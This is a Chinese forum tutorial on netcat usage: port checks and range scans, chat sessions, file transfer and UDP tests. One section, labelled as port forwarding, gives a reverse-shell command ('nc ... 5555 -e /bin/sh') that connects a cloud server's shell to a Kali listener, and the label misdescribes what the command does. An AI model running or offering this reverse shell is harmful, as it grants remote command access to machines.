本帖最后由 Hacking 于 2022-5-6 09:16 编辑
Netcat号称 TCP/IP 的瑞士军刀,并非浪得虚名。因其以体积小(可执行 200KB)功能灵活而著名。在各大发行版中都默认安装,你可以用它来做很多网络相关的工作,熟练使用它可以不依靠其他工具做一些很有用的事情。 端口测试 假设你在服务器 A主机(192.168.0.1) 上面 8080 端口启动了一个服务,但是发现 B 主机无法访问,你先跑到 A 主机上用 netstat -an 看了一下,服务启动成功了,那么到底是服务错误还是网络无法到达呢?我们当然可以在 B 主机上用 telnet 探测一下: telnet 192.168.0.1 8080 但 telnet 还需要额外安装,而 netcat 基本自带,所以我们在 B 主机上: nc -vz 192.168.0.1 8080 v 的意思是显示多点信息(verbose) z 的意思是不发送数据。 如果 B主机连不上 A 主机的 8080 端口,此时你就该检查网络和安全设置了,如果连的上那么再去查服务日志去。 nc 命令后面的 8080 可以写成一个范围进行扫描: nc -v -v -w3 -z 192.168.0.1 8080-8083 两次 -v 是让它报告更详细的内容 -w3 是设置扫描超时时间为 3 秒。 传输文件和会话
如何利用nc实现两台电脑或者多台之间,传输文件或者会话呢?首先我们在A主机上面监听端口。 nc -l -p 8080 这样就监听了 8080 端口,然后在 B 主机上连接过去: nc 192.168.0.1 8080 这样两边就可以会话了,随便输入点什么按回车,另外一边应该会显示出来, 结束时按CTRL+C 结束,不管是服务端还是客户端只要任意一边断开了,另一端也就结束了。
传输文件
服务器端(接收端) nc -l 5555 > bbskali.txt 发送端 nc 192.168.0.1 5555 < send.txt 端口转发 在kali中监听 5555 端口 nc -lvp 5555 在百度云服务器中执行 nc 192.168.123.33 5555 -e /bin/sh 需要注意的是,因为服务器和kali不在同一网段。我在实际操作中用的是映射后的IP和端口。如果你的环境在同一网端,直接执行上面命令即可。
UDP 会话 两台主机 UDP 数据发送不过去,问题在哪呢? 在 A 主机上: nc -u -l -p 8080 监听 udp 的8080 端口,然后B 主机上连上去: nc -u 192.168.0.1 8080 看看一边输入消息另外一边能否收到,以此来对网络进行诊断。 后 记 netcat 以方便的命令行的操作方式,对 tcp/udp数据进行原始的:监听、连接、数据传输等工作。然后搭配管道,实现灵活多样的功能,或者进行各种网络测试。上面几个例子,并不是说明netcat 仅限于此,在工作中还有很多实用的功能,尽情的去发挥吧。 |